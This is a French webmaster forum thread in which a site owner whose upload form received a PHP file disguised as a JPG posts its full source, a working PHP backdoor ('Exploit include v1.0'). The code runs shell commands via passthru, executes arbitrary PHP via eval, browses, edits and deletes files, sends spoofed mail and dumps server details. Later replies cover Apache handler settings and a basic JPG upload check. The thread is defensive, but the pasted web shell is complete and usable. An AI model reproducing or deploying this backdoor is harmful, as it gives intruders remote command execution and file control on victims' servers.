mon site hacké ?

Nouveau WRInaute
un mec a uploadé une image via mon formulaire pour l envoi d image :
mais il s agissait d un fichier php :

Backdoor PHP codée par rAidEn & LFL
Exploit include v1.0
Ce script permet d'exploiter une faille include ou une frame mal placée de type :
www.victime.com/index.php?page=http://e ... ckdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.

j'ai stoppé mon serveur.
que puis je regarder pour savoir ce qu il a fait ?
 
WRInaute passionné
TOMHTML a dit:
faudrait que tu nous fasse voir le code de ce fichier php, pour qu'on puisse s'en prémunir...

Ouai, que ça serve à tout le monde...

Edit: en même temps, t'abuses si tu testes pas quel type de fichier on t'envoi...
 
Nouveau WRInaute
je test le fichier que j'upload.
il a uploadé un fichier jpg, qui etait en fait un code php

mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php

voici le code
Code:
<? 
print("<html><head><title>Backdoor PHP codée par rAidEn & LFL</title></head><body 
bgcolor=\"white\" LINK=\"blue\" VLINK=\"blue\">"); 
print("<p align=\"center\"><font size=\"5\">Exploit include v1.0</font></p>"); 
print("<p>Ce script permet d'exploiter une faille include ou une frame mal placée de type : 
www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.<br><br> 
<u>par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12</u><br><br>Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils,  IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team</p>"); 

/******Code source du système de remote*****/ 

$QS = $QUERY_STRING; 
if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur"; 
if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur"; 

/*pour les forms*********************************/ 
$tab = explode("&", $QS); 
$i=0; 
$remf = ""; 
while( $tab[$i] != "" && $tab[$i-1] != "separateur" ) 
{ 
    $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]); 
    eval("\$temp2=\${$temp};"); 
    $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2 
."'>\n"; 
    $i++; 
} 
/* 
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]); 
if($temp!="") 
{ 
    eval("\$temp2=\${$temp};"); 
    $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2 
."'>\n"; 
}*/ 
/************************************************/ 


/*pour les links*********************************/ 
if($QS != "separateur") 
    $reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) . 
"&separateur"; 
else $reml = "?$QS"; 
$adresse_locale = $reml; 
/************************************************/ 




print("<hr>"); 
print("<a href=\"$adresse_locale&option=1\">Exécuter une commande dans un shell</a><br> <!-- utiliser exec($commande, $retour); -->"); 
print("<a href=\"$adresse_locale&option=2\">Exécuter du code PHP</a><br>"); 
print("<a href=\"$adresse_locale&option=3\">Lister un répertoires</a><br>"); 
print("<a href=\"$adresse_locale&option=4\">Gérer les fichiers</a><br>"); 
print("<a href=\"$adresse_locale&option=5\">Envoyer un mail</a><br>"); 
print("<a href=\"$adresse_locale&option=6\">Infos serveur</a><br>"); 
print("<a href=\"mailto:raiden_cyb@hotmail.com\">Contacter le créateur</a><br><hr>"); 


/* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */ 
$option = $_REQUEST["option"]; 
$rep =  $_REQUEST["rep"]; 
$nom =  $_REQUEST["nom"]; 
$option_file =  $_REQUEST["option_file"]; 
$cmd =  $_REQUEST["cmd"]; 
$code =  $_REQUEST["code"]; 
$msg =  $_REQUEST["msg"]; 
$option_mail =  $_REQUEST["option_mail"]; 
$destinataire =  $_REQUEST["destinataire"]; 
$sujet =  $_REQUEST["sujet"]; 
$message =  $_REQUEST["message"]; 

if($option == 1){ 
    print("<form action=\"?\"> $remf Commande : <input type=\"text\" name=\"cmd\"></form>"); 
    echo "<br> PS : peu de serveurs acceptent les commandes venant de PHP"; 
} 

if($option == 2){ 
    print("<form action=\"?\"> $remf Code : <input type=\"text\" name=\"code\"></form>"); 
} 

if($option == 3){ 
    print("<form action=\"?\"> $remf Répertoire à lister : <input type=\"text\" name=\"rep\"></form>"); 
    print("$rep"); 
} 

if($option == 4){ 
    print("<br><form action=\"?\"> $remf"); 
    print("<br>Nom du fichier :<br><input type=text name=\"nom\">"); 
    print("<input type=hidden name=option value=$option>"); 
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"mkdir\" >Créer le 
fichier"); 
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"edit\" >Éditer le 
fichier"); 
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"del\" >Supprimer le 
fichier"); 
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"read\" CHECKED>Lire le 
fichier"); 
    print("<input type=submit value=Go>"); 
    print("</form>"); 
} 


if($option == 5){ 
    print("<PRE><form action=\"?\"> $remf Destinataire : <input type=\"text\" name=\"destinataire\" size=\"80\">"); 
    print("<br>Provenance du mail : <input type=\"text\" name=\"provenance\" size=\"80\"><br>"); 
    print("Adresse de retour : <input type=\"text\" name=\"retour\" size=\"80\"><br>"); 
    print("Sujet : <input type=\"text\" name=\"sujet\" size=\"80\"><br>"); 
    print("Message : <input type=\"text\" name=\"message\" 
size=\"80\"><br><input type=\"submit\" value=\"Envoyer\"></form></PRE>"); 
} 

if($option == 6){ 
    echo"Nom du serveur : <a href=\"http://$SERVER_NAME\">$SERVER_NAME</a><br> 
"; 
    echo"Adresse IP du serveur : <a href=\"http://$SERVER_ADDR\">$SERVER_ADDR</a><br> "; 
    echo"Port utilisé par défault 80 : <font color=\"red\">$SERVER_PORT</font><br> "; 
    echo"Mail de l' admin : <a href=\"mailto:$SERVER_ADMIN\">$SERVER_ADMIN</a><br><br>"; 
    
    
    echo"Racine du serveur : <font color=\"red\">$DOCUMENT_ROOT</font><br>"; 
    echo"Adresse menant à COMMAND.COM : <font color=\"red\">$COMSPEC</font><br>"; 
    echo"Path installé sur le serveur : <font color=\"red\">$PATH</font> <br>"; 
    echo"OS, SERVEUR, version PHP : <font color=\"red\">$SERVER_SOFTWARE</font><br><br>"; 
    
    echo"Version du protocole utilisé (HTTP) : <font color=\"red\">$SERVER_PROTOCOL</font><br>"; 
    echo"En-tête Accept du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT</font><br>"; 
    echo"En tête User_agent du protocole HTTP : <font color=\"red\">$HTTP_USER_AGENT</font><br>"; 
    echo"En-tête Accept-Charset du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_CHARSET</font><br> "; 
    echo"En-tête Accept-Encoding du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_ENCODING</font><br> "; 
    echo"En-tête Accept-Language du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_LANGUAGE</font><br> "; 
    echo"En-tête Connection du protocole HTTP : <font color=\"red\">$HTTP_CONNECTION</font><br> "; 
    echo"En-tête Host du protocole HTTP : <font color=\"red\">$HTTP_HOST</font><br><br>"; 
    
    echo"Version de CGI : <font color=\"red\">$GATEWAY_INTERFACE</font><br> "; 
    echo"Version de récupération du form : <font color=\"red\">$REQUEST_METHOD</font><br> "; 
    echo"Argument de l' adresse : <font color=\"red\">$QUERY_STRING</font> <br>"; 
    echo"Nom du script : <font color=\"red\">$SCRIPT_NAME</font><br> "; 
    echo"Chemin du script : <font color=\"red\">$SCRIPT_FILENAME</font><br> "; 
    echo"Adresse entière du script : <font color=\"red\">$REQUEST_URI 
</font><br>"; 
} 

/* Commande*******/ 
if($cmd != "") 
{ 
    echo "{${passthru($cmd)}}<br>"; 
} 
/* Commande*******/ 


/* Exécution de code PHP**********/ 
if($code != ""){ 
    $code = stripslashes($code); 
    eval($code); 
} 
/* Execution de code PHP**********/ 


/* Listing de rep******************/ 
if($rep != "") 
{ 
    if(strrchr($rep, "/") != "" ||  !stristr($rep, "/")) $rep .= "/"; 
    $dir=opendir($rep); 
    while ($file = readdir($dir)) 
    { 
           if (is_dir("$rep/$file") && $file!='.') 
       { 
              echo"<li><a href=\"$adresse_locale&rep=$rep$file\">(rep) $file 
</a><br>\n"; 
       }elseif(is_file("$rep/$file")) 
       { 
              echo "<li>   <a 
href=\"$adresse_locale&option_file=read&nom=$rep$file\">(file) $file</a> <a 
href=\"$adresse_locale&option_file=del&nom=$rep$file\">del</a> <a 
href=\"$adresse_locale&option_file=edit&nom=$rep$file\">edit</a><br>\n"; 
       } 
    } 
} 
/* Listing de rep******************/ 


/* Gestion des fichiers*********************/ 
if($option_file == "mkdir" && $nom != "") 
{ 
    $fp = fopen($nom, "w"); 
    fwrite($fp, stripslashes($msg)); 
    print("Fichier crée/modifié"); 
} 

if($option_file == "read" && $nom != "") 
{ 
    $fp = fopen($nom, "r"); 
    $file = fread($fp, filesize($nom)); 
    $file = htmlentities ($file, ENT_QUOTES); 
    $file = nl2br($file); 
    echo "<br>$file"; 
} 

if($option_file == "del" && $nom != "") 
{ 
    unlink($nom); 
    print("Fichier effacé"); 
} 

if($option_file == "edit" && $nom != "") 
{ 
    $fp = fopen($nom, "r"); 
    $file = fread($fp, filesize($nom)); 
    $file = htmlentities ($file, ENT_QUOTES); 
    echo "<form action=$adresse_locale> $remf"; 
    echo "<TEXTAREA COLS=80 rows=25 name=msg>$file</textarea>"; 
    echo "<input type=hidden name=option_file value=mkdir>"; 
    echo "<input type=hidden name=nom value=$nom>"; 
    echo "<br><input type=submit value=Go> PS : les fichiers trop longs ne passent po :("; 
    echo "</form>"; 
} 
/* Gestion des fichiers*********************/ 


/* Envoi de mails************************/ 
if(($destinataire != "" ) && ($sujet != "") && ($message != "")){ 
    $option_mail = "From: $provenance \n"; 
    $option_mail .= "Reply-to: $retour \n"; 
    $option_mail .= "X-Mailer: Mailer by rAidEn \n"; 
    
    mail($destinataire, $sujet, $message, $option_mail); 
    
    print("Mail envoyé a : $destinataire ..."); 
} 
/* Envoi de mails************************/ 

print("</body></html>"); 
/*print("<noscript><script=\"");*/ 
?>

Edit HawkEye_TpfH: Mise en forme [ code ] [ /code ]
 
WRInaute passionné
antiflag a dit:
je test le fichier que j'upload.
il a uploadé un fichier jpg, qui etait en fait un code php

mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php

Ah ok, je vois mieux ;-)

Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!
 
WRInaute accro
phpmikedu83 a dit:
Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!
C'est à dire ?

C'est à quel niveau dans la config apache ?
Parce que par exemple l'extension php3 et php fonctionne...
 
Nouveau WRInaute
donc pas de soucis ?
je peux voir qu'il peut essayer d envoyer des emails afin de s envoyer mes fichier php !
comment lire les logs d envoi d email ?
 
WRInaute passionné
thierry8 a dit:
C'est à quel niveau dans la config apache ?
Parce que par exemple l'extension php3 et php fonctionne...
Ben dans la config des fichiers qui sont envoyés à l'interpréteur PHP, par défaut, tu as .phtml .pwml .php3 .php4 .php .php2 .inc

Tu peux en rajouter directement dans le httpd.conf ou tout simplement dans le fichier .htaccess pour forcer l'interprétation des fichiers .htm ou .html, par exemple...
 
WRInaute accro
Dans le httpd.conf c'est quoi exactement ?

Car j'ai cela, mais uniquement pour le index:
DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3
 
WRInaute passionné
thierry8 a dit:
Dans le httpd.conf c'est quoi exactement ?

Car j'ai cela, mais uniquement pour le index:
DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3

Et tu as aussi:

Code:
AddType application/x-httpd-php

entre des tas d'autres choses...
 
WRInaute accro
Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
Code:
#AddType application/x-httpd-php .php
 
WRInaute discret
cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.
 
WRInaute accro
spijoelx a dit:
cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.
Bah, ça fonctionne, c'est le principal ! ;)

Merci.
Si jamais, je veux en ajouter je fais bien cela:
AddType application/x-httpd-php .php .example

Ou faut-il ajouter une ligne par extension ?
 
WRInaute discret
thierry8 a dit:
spijoelx a dit:
cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.
Bah, ça fonctionne, c'est le principal ! ;)

Merci.
Si jamais, je veux en ajouter je fais bien cela:
AddType application/x-httpd-php .php .example
une seule ligne avec les extensions qui se suivent en effet
 
WRInaute passionné
thierry8 a dit:
spijoelx a dit:
cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.
Bah, ça fonctionne, c'est le principal ! ;)

Merci.
Si jamais, je veux en ajouter je fais bien cela:
AddType application/x-httpd-php .php .example

Ou faut-il ajouter une ligne par extension ?

Tu peux l'ajouter tout simplement dans le .htaccess du site où tu en as besoin ;-)
 
WRInaute occasionnel
Oui, pour ce qui est du code, ça parrait un peu pipo tout de même, j'entends par là le code de hacker qui dit qu'il est un méchant code avec le mode d'emploi pour débutant ça fait pas sérieux tout de même ;oD !
 
WRInaute accro
quand même violent le code... si tu ne vérifie pas tes formulaires.

voila ce qu'il te faut pour vérifier que c'est bien un JPG :
Code:
$size = @getimagesize($TonFichierJPG) or die("planté !");
if ( $size[2] != 2) echo "tout sauf un JPG ! Sale hacker ! ^^";
else echo "yesssssssss ! JPG ok";
 
WRInaute accro
En envoyant en entête un header('***jpg***'); cela n'aurait-il pas pu contrecarer ta vérification ?

(encore faut-il que ce fichier soit interprété..)
 
Discussions similaires
Haut